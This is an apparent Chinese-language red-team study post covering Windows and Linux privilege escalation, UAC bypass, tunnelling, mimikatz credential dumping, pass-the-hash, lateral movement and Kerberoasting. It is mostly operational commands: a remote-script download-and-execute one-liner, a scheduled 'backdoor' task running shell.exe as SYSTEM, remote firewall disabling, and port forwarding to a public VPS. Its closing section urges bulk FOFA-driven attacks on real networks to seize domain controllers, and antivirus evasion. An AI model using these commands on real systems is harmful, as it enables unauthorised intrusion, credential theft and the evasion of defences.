学习思路
Windows提权
学习windows提权,bypass UAC(内核提权会用exp打就行)
常见的Windows提权方法分为:系统内核溢出漏洞提权、数据库提权、错误的系统配置提权、组策略首选项提权、WEB中间件漏洞提权、DLL劫持提权、滥用高危权限令牌提权、第三方软件/服务提权等
下面我们讲述一下这些常见的提权方式
#手工查找补丁情况
systeminfo
Wmic qfe get Caption,Description,HotFixID,InstalledOn
#MSF后渗透扫描
post/windows/gather/enum_patches
post/multi/recon/local_exploit_suggester
#windows exploit suggester
https://github.com/AonCyberLabs/Windows-Exploit-Suggester
#powershell中的sherlock脚本
Import-Module C:\Sherlock.ps1 #下载ps1脚本,导入模块
Find-AllVulns
#Empire内置模块 Empire框架也提供了关于内核溢出漏洞提权的漏洞利用方法
usemodule privesc/powerup/allchecks
execute
提供一些缺失补丁系统版本的
https://github.com/SecWiki/windows-kernel-exploits
https://bugs.hacking8.com/tiquan/
https://github.com/Heptagrams/Heptagram/tree/master/Windows/Elevation
https://www.exploit-db.com/
https://i.hacking8.com/tiquan/
基础提权命令
查询系统信息
systeminfo
如果要查看特定的信息,可以使用
systeminfo | findstr /B /C:"OS名称" /C:"OS版本"
主机名
Hostname
环境变量
Set
查看用户信息
Net user
查看服务pid号
Tasklist /svc|find "TermService"
netstat -ano|find "3389"
查看系统名
wmic os get caption
查看补丁信息
wmic qfe get Description,HotFixID,InstalledOn
如果要定位到特定的补丁可以使用如下命令
wmic qfe get Description,HotFixID,InstalledOn | findstr /C:"KB4346084" /C:"KB4509094"
查看当前安装程序
wmic product get name,version
错误配置提权
#powerup提供了一些本地提权的方法,可以通过很多实用的脚本来寻找目标机器的windows服务漏洞
https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp
可直接通过powershell远程加载
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks"
#msf 对应的模块为exploit/windows/local/service_permissions 但前提是获得一个会话
run exploit/windows/local/service_permissions #自动化提权,回来的的权限就是system
#当工具无法使用时,也可以手工查找,使用Windows内建工具icacls查看服务启动路径中写权限
例如:icacls "C:\Program Files"
icacls "C:\Program Files\Common Files"
#查看指定目录的权限配置情况
accesschk.exe -dqv "D:\test" -accepteula
参数说明:“M”表示修改,“F”代表完全控制,“CI”代表从属容器将继承访问控制项,“OI”代表从属文件将继承访问控制项。
#检查服务 如果是.SERVICE_ALL_ACCESS的意思是我们对“Vulnerable Service”的属性拥有完全控制权
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
sc qc 服务名 #查看可以完全控制的服务的属性。
辅助提权站点
- https://github.com/SecWiki/windows-kernel-exploits
- https://wiki.0-sec.org/#/index
- https://github.com/neargle/win-powerup-exp-index
- http://blog.neargle.com/win-powerup-exp-index/
- https://detect.secwx.com
这里进行细分,我们了解一下什么是系统服务权限配置错误
原理:在Windows系统服务文件在操作系统启动时加载并执行,并调用可执行文件。这时当一个低权限用户存在可执行文件读写权限,就可以将该文件进行替换,从而随着系统服务启动获取系统权限。一般情况下,Windows是以System权限执行
accesschk工具
下载链接:https://download.sysinternals.com/files/SysinternalsSuite.zip
命令如下
accesschk.exe -uwcqv "XXX" * /accepteula > 1.txt //这里XXX为当前用户名
如果出现 SERVICE_ALL_ACCESS
表示当前用户拥有修改权限
进一步查看该服务的启动权限,这里以VMTools
为例
执行命令sc qc VMTools
然后利用 sc 命令修改执行文件路径
# 注意这里的"="后面要留有空格
sc config VMTools binPath= "net user test1 P@ssw0rd /add"
# 查看查询该服务的执行路径是否修改成功
sc qc VMTools
# 记得重启服务
sc stop VMTools
sc start VMTools
# 这里启动时可能存在报错,服务和Windows系统服务控制管理器通信会被认为错误,但命令会正常执行
自带命令 icacls
命令如下
确定写入权限:icacls "C:\Program Files\program folder"
## 定义:
「M」表示修改、「F」表示完全控制
「CI」代表从属容器将继承访问控制项
「OI」代表从属文件将继承访问控制项
常用命令
icacls "C:\Program Files\*" 2>nul | findstr "(M)" | findstr "Everyone"
icacls "C:\Program Files(x86)\*" 2>nul | findstr "(M)" | findstr "Everyone"
icacls "C:\Program Files\*" 2>nul | findstr "(M)" | findstr "BUILTIN\Users"
icacls "C:\Program Files(x86)\*" 2>nul | findstr "(M)" | findstr "BUILTIN\Users"
PowerSploit
利用powershell命令远程下载调用
powershell.exe -exec bypass -nop -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks"
powershell.exe -exec bypass -Command "& {Import-Module D:/PowerUp.ps1; Invoke-AllChecks}" > 1.txt
- ServiceName:可能存在漏洞的服务
- Path:该服务的可执行程序的路径
- StartName:服务运行账号
- AbuseFunction:利用方式
执行命令,这里以VMTools为例
添加 test用户
powershell.exe -exec bypass -Command "& {Import-Module C:/PowerUp.ps1;Invoke-ServiceAbuse -Name 'VGAuthService' -Username test -Password 123456}"
Bypass UAC
#Msf
exploit/windows/local/ask #弹出UAC确认窗口,点击后获得system权限
exploit/windows/local/bypassuac #此模块将通过进程注入使用可信任发布者证书绕过Windows UAC,它将生成关闭UAC标志的第二个shell。
exploit/windows/local/bypassuac_injection #此模块将通过进程注入使用可信任的发布者证书绕过Windows UAC。它将生成关闭UAC标志的第二个shell。在普通技术中,该模块使用反射式DLL注入技术并只除去了DLL payload 二进制文件,而不是三个单独的二进制文件。但是,它需要选择正确的体系架构(对于SYSWOW64系统也使用x64)。如果指定exe::custom,应在单独的进程中启动 payload 后调用ExitProcess()
exploit/windows/local/bypassuac_fodhelper#此模块将通过在当前用户配置单元下劫持注册表中的特殊键并插入将在启动Windows fodhelper.exe应用程序时调用的自定义命令来绕过Windows 10 UAC。它将生成关闭UAC标志的第二个shell。此模块修改注册表项,但在调用payload后将清除该项。该模块不需要payload的体系架构和操作系统匹配。如果指定exe:custom,则应在单独的进程中启动payload后调用ExitProcess()。
exploit/windows/local/bypassuac_eventvwr#此模块将通过在当前用户配置单元下劫持注册表中的特殊键并插入将在启动Windows事件查看器时调用的自定义命令来绕过Windows UAC。它将生成关闭UAC标志的第二个shell。此模块修改注册表项,但在调用payload后将清除该项。该模块不需要payload的体系架构和操作系统匹配。如果指定EXE ::Custom,则应在单独的进程中启动payload后调用ExitProcess()
exploit/windows/local/bypassuac_comhijack#此模块将通过在hkcu配置单元中创建COM处理程序注册表项来绕过Windows UAC。当加载某些较高完整性级别进程时,会引用这些注册表项,从而导致进程加载用户控制的DLL,这些DLL包含导致会话权限提升的payload。此模块修改注册表项,但在调用payload后将清除该项,这个模块需要payload的体系架构和操作系统匹配,但是当前的低权限meterpreter会话体系架构中可能不同。如果指定exe::custom,则应在单独的进程中启动payloa后调用ExitProcess()。此模块通过目标上的cmd.exe调用目标二进制文件,因此,如果cmd.exe访问受到限制,此模块将无法正常运行。
#Powershell
Invoke-PsUACme
#Empire
usemodule privesc/bypassuac
usemodule privesc/bypassuac_wscript
令牌窃取-可用
访问令牌(Access Token):表示访问控制操作主体的系统对象 。
会话令牌(Session Token):是交互会话中唯一的身份标识符。
密保令牌(Security Token):又叫做认证令牌或硬件令牌,是一种计算机身份校验的物理设备,例如U盾。
#msf 拿到一个会话
use incognito #进入incognito模块
list_tokens -u #列出令牌
Delegation Token:也就是授权令牌,它支持交互式登录(例如可以通过远程桌面登录访问)
Impresonation Token:模拟令牌,它是非交互的会话。
这里窃取令牌,主要是窃取进程中的令牌
#使用令牌假冒用户
impresonate_Token "令牌名"
Windows-Exploit-Suggester
直接调用进行搜索缺失补丁提权
土豆系列提权!!!
这里如果是哥斯拉上马,是可以用自带的土豆系列提权
附上:
https://github.com/breenmachine/RottenPotatoNG/ (烂土豆)
直接来个复现咯,Windows烂土豆本地复现
https://github.com/CCob/SweetPotato (甜土豆)
说了这么多,那究竟什么是土豆系列呢?当然,你也可以理解为生活中的土豆哈哈哈。原理如下,烂土豆简介(MS16-075提权),是只针对本地用户,这里不支持域用户。当攻击者转发同意计算机上的其他服务身份验证时,利用 Miscrosoft服务器消息块 SMB存在特权提权漏洞
影响版本:**Windows 7、Windows 8.1、Windows 10、Windows Server 2008、Windows Server 2012 **等,以上版本系统若未安装相应补丁,则大概率存在此漏洞。
提权原理:
- 欺骗 "NT AUTHORITY\SYSTEM" 账户通过NTLM认证到我们控制的TCP终端。
- 对这个认证过程使用中间人攻击(NTLM重放),为“NT AUTHORITY\SYSTEM”账户本地协商一个安全令牌(过程为通过一系列的Windows API调用)。
- 模仿这个令牌,只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌,一般大多数的服务型账户(IIS、MSSQL等)有这个权限,大多数用户级的账户没有这个权限。
甜土豆
Sweetpotato.exe -l 8888 -a "whoami"
这里如果我们有CS
,也可以调用武器库直接提权
提权的姿势五花八门,可参考学习以下链接,实战遇到的话
Windows可提权方式总结
https://cloud.tencent.com/developer/article/1771226
Psexec提权system
可以使用PsExec.exe
获取SYSTEM权限
进行内网信息收集需要具有一定的权限,所以先进行提权获取SYSTEM权限。
PsExec.exe -s -i -d cmd
学习linux提权(内核提权会用exp打就行)
Linux提权系列
具体去分析,一般来说拿到shell
后如果是低权限,这时就需要运用到如下的操作
之前是有总结过这一块的,比较常用的几种方式
- SUID提权 - GTFOBins
- 计划任务提权 - 配合Redis
- 内核提权 - 上通杀
- Mysql 数据库提权-UDF
- 环境变量提权 - 存在一个以root权限运行的C文件
- 第三方服务提权-NFS服务-phpmyadmin等
- docker提权 - 经常碰到
- ssh密钥提权
小工具
可用的一些小工具,主打一个配合:
LinEnum.sh
介绍:收集系统信息、用户信息、历史命令信息等等
下载地址:https://github.com/rebootuser/LinEnum
运行:./LinEnum.sh
linux-exploit-suggester.sh
介绍:此工具可以扫描系统存在的可用于提权的漏洞,以及exp的下载链接
下载地址:https://github.com/mzet-/linux-exploit-suggester
运行:./linux-exploit-suggester.sh
Linuxprivchecker.py
介绍:该脚本旨在在 Linux 机器上本地执行,以枚举基本系统信息并搜索常见的权限升级向量,例如全局可写文件、错误配置、明文密码和适用的漏洞利用。
下载地址:https://github.com/sleventyeleven/linuxprivchecker
运行:python Linuxprivchecker.py
好文:
https://xz.aliyun.com/t/7924 --- yyds
https://bbs.zkaq.cn/t/6624.html
红队笔记反弹shell
权限维持
学习windows、linux权限维持
当我们获取系统权限后,为了防止蓝队应急判断到可疑用户导致权限丢失,这是我们需要绕过蓝队或安全防护就需要用到权限维持技术
参考文章:https://blog.csdn.net/weixin_53912233/article/details/131193341
绝绝绝 Windows最常用的权限维持技术
权限维持的意义
如果系统管理员或事件响应者决定查看会话日志或他们认为这是可疑的账户日志,因此他们会怀疑此已经账户被盗用,然后更改密码和终止符访问权限,因此我们为了绕过蓝队或安全防护就需要权限维持技术
内网代理学习
学会搭代理,推荐工具lcx、nps、frp \reGeorgSocksProxy
在渗透过程中,当我们拿下一台主机后,需要进一步横向渗透。这时候就可以将内网流量代理到本地
reGeorgSocksProxy.py隧道代理
下载文件如下:
这里以php站点为例,比如正常用蚁剑连接获取shell后,将 tunnel.nosocket.php
放到网站根目录可访问即可,这里举例 IP为 192.168.1.1
然后Windows本地运行命令
python reGeorgSocksProxy.py -l 127.0.0.1 -p 3344 -u http://192.168.1.1/tunnel.nosocket.php
最后利用工具 Proxifier
设置远程桌面程序 从本地端口 3344
进行出网
配置如下
然后通过 mstsc命令直接远程连接
msf转发 portfwd
这里需要用到 portfwd
命令
#1.利用msf内置端口转发功能,将3389端口进行映射本地5555端口
portfwd add -l 5555 -p 3389 -r 本地IP地址
#2.直接调用rdesktop
rdesktop 127.0.0.1:5555
lcx.exe
使用条件:服务器通外网,拥有自己的公网ip
说明:lcx是一个经典的端口转发工具,可以直接把3389端口转发到公网的vps上
命令如下
# 拿到shell后执行命令
lcx.exe -slave 1.1.1.1 9999 127.0.0.1 3389 ## 1.1.1.1为公网IP,转发3389端口到9999端口
# 配合Linux对应工具 portmap
./portmap -m 2 -p1 9999 -p2 33889 ## 这里p1对应监听端口,p2对应要转发的端口
## Windows远程连接 mstsc
rdesktop 1.1.1.1:33889
基于web服务的socks5隧道
常用的工具有:reGeorg,reDuh,Tunna和Proxifier
先利用 reGeorgSocksProxy.py
进行生成一个隧道,-p为指定隧道的端口,-u为刚刚上传的tunnel文件地址。
python reGeorgSocksProxy.py -p 8888 -u http://x.x.x.x/tunnel.php
然后利用 socks5 代理指定的端口
ew搭建socks5隧道
目标主机为windows系统,选择上传ew_for_Win.exe文件。
公网vps使用ew_for_linux64文件
## VPS上执行
./ew_for_linux64 -s rcsocks -l 1080 -e 9999
## 然后在目标执行
ew_for_Win.exe -s rssocks -d 1.1.1.1 -e 11000
协议概念
学习ntlm、kerberos、smb协议,以及ACL,SACL概念
NTLM认证协议
NTLM协议
基于NTLM hash,windows本地登陆的密码由LM hash和NTLM hash组成,存储在SAM文件中,前一部分是LM Hash,后一部分是NTLM Hash。
Kerberos认证协议
kerberos协议
是一种网络认证协议,整个认证过程涉及到三方,包含客户端、服务端和KDC,而在Windows域环境中,KDC的角色是由 DC 域控制器来担当
其中 KDC
中包括 AS(认证服务器)和 TGS(Ticket GrantingServer票据服务器)和 AD(活动目录)
整体流程如下
- 首先
客户端
向密钥分发中心KDC
中的认证服务器AS
进行请求,AS接受到请求后响应客户端
并且返回一张票据 为TGT(伪造黄金票据位置)
-
客户端
拿着认证服务器AS
返回的票据TGT再次向密钥分发中心KDC
中的票据授予服务器TGS请求
, 这里TGS 收到请求后响应客户端
返回一张票据ST(伪造白银票据的位置)
-
客户端
拿着票据授权服务器TGS
返回的票据ST
向服务器发起请求,服务器接受到请求后响应客户端,如若成功则完成整套Kerberos认证流程
,否则将会中断。
整体流程大致如上,感觉还有挺多点需要去弄得,可参考文章如下
Kerberos协议详解
要求:抓包分析,请务必把ntlm和kerberos协议中每个步骤看懂。然后写一篇总结文章出来
【内网基础】:看看ATT&CK攻击矩阵
要求:能大概明白这个矩阵是个啥,通过这个矩阵能知道一次完整的渗透流程是啥样的
大致流程如下:
ATT&CK攻击矩阵
1.1 MITRE简介
- CVE是一个公共的漏洞列表,也是由MITRE提供;
- MITRE是于1958年成立在麻省理工学院计算机实验室,是一家非营利性公共服务机构,为美国联邦政府提供工程和技术指导,包括国防情报、国土安全、网络安全、航空航天等;
1.2 ATT&CK概述
-
ATT&CK( Adversarial Tactics, Techniques and Common Knowledge )
,即对抗战术、技术和常识,它是一个站在攻击者的视角来描述攻击中各阶段用到的技术的模型。常见的应用场景主要有网络红蓝对抗模拟、网络安全渗透测试、网络防御差距评估、网络威胁情报收集等。 - ATT&CK框架可以理解为一个红队或者攻击者在攻击一个目标系统,他说用到的技术的路径。
1)比如首先通过钓鱼邮件发送一个附件,客户端那边去执行,通过钓鱼来实现持久化和权限提升;
2)窃取目标系统的账号和密码,通过网络环境发现、横向移动,来对整个网络实现漫游
3)最后窃取对方的网络数据。 - MITRE的ATT&CK框架
基础元素为战术、技术和程序,为从网络威胁情报中收集**TTPS**
1)战术
: 回答了攻击者想要实现的目标;
2)技术或子技术
: 展示了攻击者实际的攻击方式以及目标如何实现;
3)程序框架
: 解决了威胁行为者与攻击组织为达到目标所使用技术的特定应用。
实战在渗透测试人员可以根据 ATT&CK
中的高频技术对需求方企业进行安全测试,形成安全方案,以加固企业的安全性;在红蓝对抗中,无论是蓝方还是红方都可以使用 ATT&CK
框架,红方可以进行网络钓鱼、水坑攻击等技术,蓝方可以利用框架中的技术提前对系统网站做审计和防护工作。
1.3 ATT&CK攻击矩阵框架
- 矩阵横轴表示战术(有14项战术)、纵轴表示技术(177项技术348项子技术)、中间包括程序。
序号 | 战术 | 战术功能 |
---|---|---|
1 | 侦察 | 攻击方收集信息,以便未来的行动。包含主动和被动地搜集侦察技术。此类信息一般包含受害者组织、基础设施或人员 |
2 | 资源开发 | 建立攻击者行动所需资源,包含基础设施、攻击人员创建、购买/窃取用于支持目标定位的资源技术。 |
3 | 初始访问 | 攻击方试图进入目标网络,获取一个入口 |
4 | 执行 | 运行恶意代码 |
5 | 持久化 | 保持攻击立足点,获得永久的控制能力 |
6 | 权限提升 | 获取最高权限 |
7 | 防御绕过 | 避免被发现 |
8 | 凭证获取 | 窃取账号、密码、凭证等 |
9 | 发现 | 弄清对方网络环境 |
10 | 横向移动 | 内网漫游,攻击其他网络 |
11 | 搜集 | 收集感兴趣的数据 |
12 | 命令控制 | 试图与目标网络通信,操纵目标系统和网络 |
13 | 数据渗出 | 窃取数据并输出 |
14 | 影响 | 中断和破坏对手网络和数据,给对方网络造成伤害 |
参考:https://blog.csdn.net/qq_40216188/article/details/123106969
https://attack.mitre.org/
【工具基础】:把cobalt strike,msf这两个c2工具玩熟
要求:能知道c2是什么意思,学会如何上线目标机器,以及如何用shellcode上线
内网渗透神器(Mimikatz)
【工具基础】:学会用mimikatz的使用,重点是如何用mimikatz抓密码。
mimikatz # log
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
直接获取NTLM
sekurlsa模块
sekurlsa::logonpasswords
抓取用户NTLM哈希
sekurlsa::msv
加载dmp文件,并导出其中的明文密码
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords full
导出lsass.exe进程中所有的票据
sekurlsa::tickets /export
kerberos模块
- 提取票据
列出系统中的票据
kerberos::list
kerberos::tgt
清除系统中的票据
kerberos::purge
导入票据到系统中
kerberos::ptc 票据路径
lsadump模块
//在域控上执行查看域 domain.com内指定用户root详细信息,包括NTLM哈希
lsadump::dcsync /domain:domain.coim /user:root
//(在域控上执行)读取所有域用户的哈希值
lsadump::lsa /patch
//直接从系统文件 sam.hive 和 system.hive文件获取NTLM Hash
lsadump::sam /sam:sam.hive /system:system.hive
## 拓展方法,从本地SAM文件读取密码哈希
token::elevate
lsadump::sam
PTH Hash传递
PTH,即Pass The Hash,首先我们来说下为什么要使用Hash传递,一是目标主机在win server 2012之后,lsass.exe进程中是抓不到明文密码的;二是随着信息安全意识的提高,弱口令情况逐渐降低,我们经常会遇到拿到hash却解不开的情况,综上,只要我们获取到hash,我们依然可以正常登录。
Msf进行Hash传递获取域控
proxychains msfconsole
use exploit/windows/smb/psexec
set smbdomain wwl
set rhosts 192.168.223.10
set smbuser administrator
set smbpass 00000000000000000000000000000000:afffeba176210fad4628f0524bfe1942
run
同时也可以了解一下mimikatz抓密码的原理,从这个原理中可以知道windows安全的一些机制。
【信息搜集】:学习内网信息搜集方式,关注哪些信息是敏感的(我是谁?我是否在域中?是否有内网?等)。
1.winrs
winrs -r:http://IP:5985 -u:.\administrator -p:admin123 "whoami" # 执行单条命令
winrs -r:http://IP:5985 -u:.\administrator -p:admin123 cmd # 返回交互式cmd
2.powershell
单条命令
Invoke-Command -ComputerName server01 -Credential domain01\user01 -ScriptBlock {Get-Culture}
交互式
Enter-PSSession -ComputerName 192.168.100.155 -Credential administrator
需要输入主机账户密码
可以使用票据注入执行
要求:总结文章,尽可能全面
【 横 向 】 : 学 习 PTH( 哈 希 传 递 攻 击), 以及 KB2871997 补丁对其造成的影响要求
NTLM认证采用质询/应答(Challenge/Response)的消息交换模式。NTLM既可用于域环境下的身份认证,也可以用于没有域的工作组环境。主要有本地认证和网络认证两种方式
横向渗透
【横 向】: 利⽤ ipc, wmi, winrm 横向移动,务必学会
IPC$连接
通过ipc$,可以与目标机器建立连接。利用这个连接,不仅可以访问目标机器中的文件,进行上传、下载等操作,还可以在目标机器上运行其他命令,以获取目标机器的目录结构、用户列表等信息。
命令如下
##这里前提是知道用户和密码,也可以用psexec模块
net use \\IP\ipc$ "password" /user:"username" //建立链接
net use
## dir命令查看
dir \\IP\c$
## copy赋值木马
copy C:\a.exe \\IP\C$ //复制a.exe 到目标C盘
at命令执行木马
net time \\IP
copy shell.exe \\IP\C$
at \\IP 18:53:00 C:\shell.exe # 定义一个定期时间进行执行shell.exe
Schtask命令
步骤如下,在Windows Server 2008之后,就不再存在 at命令,可利用命令 schtasks
- 与目标主机建立连接
- 利用copy命令进行远程操作,复制木马到目标主机
- 在目标主机创建计划任务,这里命名为
backdoor
,该计划任务每分钟启动一次,且启动权限为system
命令如下
这里
schtasks /create /s IP地址 /u administrator /p Liu78963 /tn backdoor /sc minute /mo 1 /tr c:\shell.exe /ru system /f
schtasks /run /s IP地址 /i /tn backdoor
schtasks /create /s IP地址 /tn test /sc minute /mo 1 /tr "C:\Windows\System32\cmd.exe /c 'whoami > C:\result.txt'" /ru system /f
SC命令
sc \\[主机名/IP] create [servicename] binpath= "[path]" #创建计划任务启动程序
sc \\WIN-ENS2VR5TR3N create bindshell binpath= "c:\bind.exe"
sc \\WIN-ENS2VR5TR3N start bindshell # 启动服务
关闭防火墙命令
-- 关闭防火墙
sc \\WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\WIN-ENS2VR5TR3N start unablefirewall
【横 向】: 学习 MS14-068、 zerolog on、永 恒之 蓝、 printnig htmare 这⼏个 经典漏洞的 exp 使⽤, 对应版 本,能 了解⼀ 波原理 更好。 要求: 复现,
【横 向】: 学习 kerberoast、 as_reproast这 俩攻击 ⽅式 要求: 复现, 总结⼀ 篇⽂章
kerberoast攻击
什么是Kerberoast攻击呢,在实战环境中,攻击者为获取目标服务器权限,设法破解Kerberos服务票据并重写它们的过程,不需要与靶机服务进行任何交互。
可以通过合法的活动目录访问请求和导出
来离线破解服务票据,从而获取最终的明文密码。
攻击步骤如下:
- 攻击者提供一个正常域用户密码进行认证获得
TGT
- 攻击者使用该
TGT
针对指定SPN请求
-
KDC验证TGT
之后服务Hash 加密的ST
- 最终攻击者 离线爆破
ST
执行命令如下
在域控下打开powershell执行一下命令:
setspn -S Hacker/test.com kerberoasting
命令解释:
Hacker是服务名
test.com是域名
kerberoasting是域用户名
查询所有SPN命令看看是否配置成功
setspn -q */*
Kerberoating请求伪造服务
GetUserSPNs.py工具请求服务票据:
Impacket中的GetUserSPNs.py脚本可以请求注册于用户下所有SPN的服务票据,
也可以请求注册于指定用户下的SPN服务票据。
#请求注册于用户下所有SPN的服务票据,并以hashcat能够破解的格式保存为spn.txt文件:
GetUserSPNs.py -request -dc-ip 10.211.55.100 'test.com/ruyu' -hashes :4c25ed57e37131073192a98148fbc30f -outputfile spn.txt
mimikatz导出票据
mimikatz.exe "kerberos::list /export" "exit"
## 拓展Empire下的Invoke-Kerberoast.ps1
Import-Module .\Invoke-Kerberoast.ps1;Invoke-Kerberoast -outputFormat Hashcat
下一步进行离线破解服务票据
利用kerberoast中的tgsrepcrack.py
python2 tgsrepcrack.py password.txt xx.kirbi
## xx.kirbi 为票据信息
然后用hashcat进行爆破
hashcat -m 13100 hash.txt pass.txt
AS-REP Roasting攻击
在域中,对于域用户来说,如果设置不要求 Kerberos预身份验证
,此时向域控制器88端口发送一个AS_REQ
请求,此时域控会不作任何验证 便将 TGT票据
和 加密的 Session-key
等信息返回。对收到的 AS_REP
内容(enc-part底下的ciper,这部分使用用户hash加密的session-key,然后通过离线爆破获取用户Has)
进行重新组合,最终拼接成Kerberos 5 AS-REP etype 23 (18200)
的格式,接下来可以使用hashcat工具
对其破解,最终获得该用户的明文口令。
命令如下
工具链接:https://github.com/HarmJ0y/ASREPRoast
提取 Hash
命令如下 xiongshen zhenshuang
Rubeus.exe asreproast /format:john /outfile:hash.txt
SREPROast.ps1(域内机器)脚本利用
下载:
修改powershell策略可以加载脚本
Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser
命令:
Import-Module .\ASREPRoast.ps1
Invoke-ASREPRoast | select -ExpandProperty Hash
非域内机器的我这里的利用思路是通过adfind或者bloodhound查询不需要Kerberos
预身份验证的账户,之后在使用Impacket下的GetNPUsers.py脚本获取指定用户的Hash
加密的Login Session Key。
Adfind查询:
Adfind.exe -h 10.211.55.100 -u test\lisi -up Pass123 -f "useraccountcontrol:1.2.840.113556.1.4.803:=4194304" dn
hashcat爆破
hashcat64.exe -m 18200 hash.txt pass.txt --force
内网网络隧道多种方式
ICMP隧道
ICMP隧道又称 ICMP Internet控制报文协议
,用于在IP主机、路由器之间的传递控制消息(网络是否连通)。ICMP 是通过 Ping
命令访问远程计算机,建立 ICMP隧道
,将 TCP/UDP 数据封装到 ICMP的 PING 数据包中,从而绕过防火墙实现不受限制的访问。
下载:
git clone https://github.com/inquisb/icmpsh.git #下载工具
总结拓展
- 学习委派机制及针对委派机制的攻击方式,包括复现非约束性委派、约束性委派和基于资源的约束性委派的攻击,总结文章。
权限维持:
- 理解黄金票据和白银票据的原理,包括Sid History后门、DSRM后门、委派后门、AdminSDHolder后门等权限维持技术。
- 学会从Ntds.dit导出域内密码。
实战:
- 结合现有的exploit与FOFA进行批量攻击,尝试获取域控权限。注意避免攻击中国、港澳台地区,且不泄露个人信息。可在邮件内部发布渗透文章。
免杀:
- 使用加壳、shellcode混淆、白加黑、syscall、shellcode分离、小众语言等免杀手段,要求通过360、火绒杀软。重点研究Cobalt Strike免杀技巧,修改Cobalt Strike以实现上线等
Windows API:
- 尝试使用Windows API编写一些小工具,包括C#、C++、Powershell等语言。可参考开源项目,自己动手编写提权、权限维持、横向移动等工具。
其他:
- 隐藏C2服务器,如利用域前置、更改sum
知识面很多,主要做一个总结积累,新人发帖,有误麻烦师傅指教。安全之路路漫漫,沉淀!
-
-
-
-
-
-
-